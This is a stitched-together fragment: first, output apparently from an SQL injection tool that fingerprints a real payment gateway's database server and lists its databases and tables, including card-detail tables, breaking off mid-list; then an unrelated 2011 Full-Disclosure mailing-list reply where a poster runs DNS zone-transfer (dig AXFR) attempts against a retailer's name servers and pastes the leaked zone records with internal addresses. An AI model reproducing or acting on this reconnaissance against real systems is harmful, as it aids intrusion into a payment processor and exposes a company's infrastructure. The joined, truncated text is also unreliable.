[ + ] Date: Tue May 3 04:47:33 2011
[ + ] Displaying information about MSSQL host !

[ + ] @@VERSION : Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
 Nov 24 2008 13:01:59

 Copyright (c) 1988-2005 Microsoft Corporation
 Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

[ + ] USER () : iusr_ccavenueiusr_ccavenue
[ + ] S_USER () : iusr_ccavenue

[ + ] DB_NAME () : gateway
[ + ] HOST_NAME () : AV-2
[ + ] SERVER_NAME () : AVDB-3
[ + ] SERVER_TYPE () : Apache/2.2.14 (Unix) mod_ssl/2.2.3 
OpenSSL/0.9.8e-fips-rhel5 mod_jk/1.2.28
[ + ] X-POWERED-By () : Servlet 2.5; JBoss-5.0/JBossWeb-2.1

[ + ] IP_ADDRESS_INFO : 124.153.83.27
--

[ + ] Displaying list of databases on this MSSQL host !

[ DATABASE: 0 ] : gateway
[ DATABASE: 1 ] : master
[ DATABASE: 2 ] : tempdb
[ DATABASE: 3 ] : model
[ DATABASE: 4 ] : msdb
[ DATABASE: 5 ] : Reseller
-

[ DATABASE: 0 ] : gateway

[ + ] Displaying Tables inside DB:

[ TABLES: 0 ] : addl_merchant_details
[ TABLES: 1 ] : admin_details
[ TABLES: 2 ] : Admn_dept_roles
[ TABLES: 3 ] : Admn_depts
[ TABLES: 4 ] : Admn_prvlg_grps
[ TABLES: 5 ] : Admn_prvlgs

[ TABLES: 6 ] : Admn_role_prvlgs
[ TABLES: 7 ] : Admn_roles
[ TABLES: 8 ] : Admn_user_prvlgs
[ TABLES: 9 ] : Admn_users
[ TABLES: 10 ] : amex_cc_details
[ TABLES: 11 ] : AMEX_CCDETAILS

[ TABLES: 12 ] : amex_mer_details
[ TABLES: 13 ] : amtShopperCart
[ TABLES: 14 ] : amtShopperCart_MMT
[ TABLES: 15 ] : auctionPayment
[ TABLES: 16 ] : Auto_cancel

[ TABLES: 17 ] : Bop_bank
[ TABLES: 18 ] : callcenter_user_login_history
[ TABLES: 19 ] : ccav_default_charges
[ TABLES: 20 ] : Ccav_genid
[ TABLES: 21 ] : Ccav_links

[ TABLES: 22 ] : ccav_merchant_options
[ TABLES: 23 ] : ccav_payout_allocated_keys
[ TABLES: 24 ] : ccav_payout_credit_logs
[ TABLES: 25 ] : ccav_payout_credits
[ TABLES: 26 ] : ccav_payout_credits_realtime_

[ TABLES: 27 ] : ccav_payout_debits
[ TABLES: 28 ] : ccav_payout_debits_realtime_bkp
[ TABLES: 29 ] : ccav_payout_details
[ TABLES: 30 ] : ccav_payout_details_10MAY2010
[ TABLES: 31 ] : ccav_payout_details_10OCT2010

[ TABLES: 32 ] : ccav_payout_details_12AUG2010
[ TABLES: 33 ] : ccav_payout_details_temp
[ TABLES: 34 ] : ccav_payout_summaries_10MAY2010
[ TABLES: 35 ] : ccav_payout_summaries_10OCT2010

[ TABLES: 36 ] : ccav_payout_summaries_12AUG2010
[ TABLES: 37 ] : ccav_payout_summaries_temp
[ TABLES: 38 ] : ccav_pending_authorizations
[ TABLES: 39 ] : ccav_pending_authorizations_20100918

[ TABLES: 40 ] : ccav_pending_authorizations_20100924
[ TABLES: 41 ] : ccav_recon_sheets
[ TABLES: 42 ] : ccav_recon_sheets_20100918
[ TABLES: 43 ] : ccav_recon_sheets_20100924

[ TABLES: 44 ] : Ccav_sms_providers
[ TABLES: 45 ] : CCAV_tracking_ids
[ TABLES: 46 ] : CCAV_tracking_ids_20100918
[ TABLES: 47 ] : ccav_tracking_ids_20100924
[ TABLES: 48 ] : ccav_trans_status_logs

[ TABLES: 49 ] : CCAV_transactions
[ TABLES: 50 ] : CCAV_transactions_20100918
[ TABLES: 51 ] : ccav_transactions_20100924
[ TABLES: 52 ] : CCAV_transactions_logs
[ TABLES: 53 ] : CCAV_transactions_logs_20100918

[ TABLES: 54 ] : ccav_transactions_logs_20100924
[ TABLES: 55 ] : ccav_transactions_realtime_bkp
[ TABLES: 56 ] : ccavenue_scheduler_logs
[ TABLES: 57 ] : centurion_debit
[ TABLES: 58 ] : Chrc_contact_dets

[ TABLES: 59 ] : Chrc_contact_dets_20100918
[ TABLES: 60 ] : Chrc_feedback_dets
[ TABLES: 61 ] : Chrc_feedback_dets_20100918
[ TABLES: 62 ] : Chrc_reasons
[ TABLES: 63 ] : Chrc_reasons_20100918

[ TABLES: 64 ] : Chrc_srch_dets
[ TABLES: 65 ] : Chrc_srch_dets_20100918
[ TABLES: 66 ] : Citi_TxtLog_Child
[ TABLES: 67 ] : Citi_TxtLog_Parent
[ TABLES: 68 ] : citibank_cc_details

[ TABLES: 69 ] : citibank_log
[ TABLES: 70 ] : citibank_wkey
[ TABLES: 71 ] : COMMISSION
[ TABLES: 72 ] : Commission_log
[ TABLES: 73 ] : countries
[ TABLES: 74 ] : country

[ TABLES: 75 ] : country_ip
[ TABLES: 76 ] : cpa_20100924
[ TABLES: 77 ] : crs_20100924
[ TABLES: 78 ] : ct_20100918
[ TABLES: 79 ] : ct_20100924
[ TABLES: 80 ] : ct_20101005

[ TABLES: 81 ] : ctl_20100924
[ TABLES: 82 ] : custShopCart
[ TABLES: 83 ] : custShopCart_20100918
[ TABLES: 84 ] : custshopcart_20100924
[ TABLES: 85 ] : custShopperCart

[ TABLES: 86 ] : DB_SCHEMA
[ TABLES: 87 ] : Deprecated_Payment_Invoice
[ TABLES: 88 ] : Deprecated_Payment_Invoice_Logs
[ TABLES: 89 ] : Dr_Cr_Notes
[ TABLES: 90 ] : dtproperties

[ TABLES: 91 ] : dummy_shopper_details
[ TABLES: 

Re: [Full-disclosure] WTF

2011-05-06 Thread ksha

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 05/06/2011 11:15 PM, Nick Boyce wrote:
 On Fri, May 6, 2011 at 6:49 PM, Gustavo gustavorober...@gmail.com
 wrote:

 WTF ?

 notebook:~$ ping www.compusa.com PING bh.georedirector.akadns.net
 (127.0.0.1) 56(84) bytes of data. 64 bytes from
 localhost.localdomain (127.0.0.1): icmp_req=1 ttl=64 time=0.019
 ms

 Same here ... this time on Windows :

 F:\ping www.compusa.com

 Pinging bh.georedirector.akadns.net [127.0.0.1] with 32 bytes of
 data:

 Reply from 127.0.0.1: bytes=32 time1ms TTL=128 Reply from
 127.0.0.1: bytes=32 time1ms TTL=128 Reply from 127.0.0.1: bytes=32
 time1ms TTL=128 Reply from 127.0.0.1: bytes=32 time1ms TTL=128

 Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4,
 Lost = 0 (0% loss), Approximate round trip times in milli-seconds:
 Minimum = 0ms, Maximum = 0ms, Average = 0ms

 F:\nslookup www.compusa.com Server:  Address: 9

 Non-authoritative answer: Name: bh.georedirector.akadns.net
 Address: 127.0.0.1 Aliases: www.compusa.com,
 compusa.syx.com.akadns.net


 Normally I'd say that's a DNS config screwup, which would make
 them unreachable (since their website is not on my system).
 However, Google seems to be able to reach them if you use the site
 preview option in the search results :
 http://www.google.com/search?q=www.compusa.com

 Curious.

 Relevant: http://forums.opendns.com/comments.php?DiscussionID=9721

 Nick -- Leave the Olympics in Greece, where they belong.

 ___ Full-Disclosure -
 We believe in it. Charter:
 http://lists.grok.org.uk/full-disclosure-charter.html Hosted and
 sponsored by Secunia - http://secunia.com/

About dns

;; ADDITIONAL SECTION:
ns01.highspeedbackbone.net. 240003 INA199.181.77.21
ns02.highspeedbackbone.net. 240003 INA199.181.78.22
ns03.highspeedbackbone.net. 240003 INA199.181.77.23
ns04.highspeedbackbone.net. 240003 INA199.181.78.24

testing one by one ...

[ksha@warbof ~]$ dig compusa.com @199.181.77.21 AXFR

;  DiG 9.8.0  compusa.com @199.181.77.21 AXFR
;; global options: +cmd
; Transfer failed.
[ksha@warbof ~]$ dig compusa.com @199.181.78.22 AXFR

;  DiG 9.8.0  compusa.com @199.181.78.22 AXFR
;; global options: +cmd
; Transfer failed.
[ksha@warbof ~]$ dig compusa.com @199.181.77.23 AXFR

;  DiG 9.8.0  compusa.com @199.181.77.23 AXFR
;; global options: +cmd
; Transfer failed.


and the last allow zone transfer.

compusa.com.86400INSOAns03.highspeedbackbone.net.
hostmaster.highspeedbackbone.net. 2008134189 10800 3600 604800 3600
compusa.com.86400INTXTv=spf1 ip4:206.191.131.0/24
mx -all
compusa.com.86400INMX10 mail.highspeedbackbone.net.
compusa.com.86400INNSns01.highspeedbackbone.net.
compusa.com.86400INNSns02.highspeedbackbone.net.
compusa.com.86400INNSns03.highspeedbackbone.net.
compusa.com.86400INNSns04.highspeedbackbone.net.
compusa.com.900INA206.181.131.221
compusa.com.900INA206.181.131.220
nap.miadk._domainkey.compusa.com. 5 INTXTt=y\;
p=MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAJ5YnwXcWzCFY6fvQ1Gd6tzI97rvvOw9PVjoekWbja1reGBMfjJ+rfwsJCQavPadAUAKbs46KUDubUgcmwe1oU9abJ3APStwgcxMXlWfvlhuSXmyDHG+HQAIrk0PsR7BBwIDAQAB\;
nap.miadkim._domainkey.compusa.com. 5 IN TXTv=DKIM1\; t=y:s\;
p=MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAJ5YnwXcWzCFY6fvQ1Gd6tzI97rvvOw9PVjoekWbja1reGBMfjJ+rfwsJCQavPadAUAKbs46KUDubUgcmwe1oU9abJ3APStwgcxMXlWfvlhuSXmyDHG+HQAIrk0PsR7BBwIDAQAB\;
_sip._tls.compusa.com.300INSRV0 0 443 sip.compusa.com.
answers.compusa.com.86400INCNAME
web220.highspeedbackbone.net.
autodiscover.compusa.com. 300INA10.100.100.108
community.compusa.com.86400INCNAME
web220.highspeedbackbone.net.
comp.compusa.com.900INA206.181.131.89
comp.compusa.com.900INA206.181.131.49
dubdubdub.compusa.com.60INCNAME
www.compusa.com.edgekey.net.
forums.compusa.com.86400INCNAME
web220.highspeedbackbone.net.
help.compusa.com.86400INNSns02.highspeedbackbone.net.
help.compusa.com.86400INNSns01.highspeedbackbone.net.
images.compusa.com.86400INCNAME
images.compusa.com.edgesuite.net.
m.compusa.com.300INCNAMEcompusa.com.velocitude.mobi.
media.compusa.com.900INA206.181.131.89
media.compusa.com.900INA206.181.131.49
news.compusa.com.86400INA74.81.68.187
origin-images.compusa.com. 900INA206.181.131.89
origin-images.compusa.com. 900INA206.181.131.49
origin-www.compusa.com.60INA206.191.131.54
origin-www.compusa.com.60INA206.191.131.14
retail.compusa.com.600INA10.101.132.194
reviews.compusa.com.86400INCNAME
web220.highspeedbackbone.net.
sip.compusa.com.300INA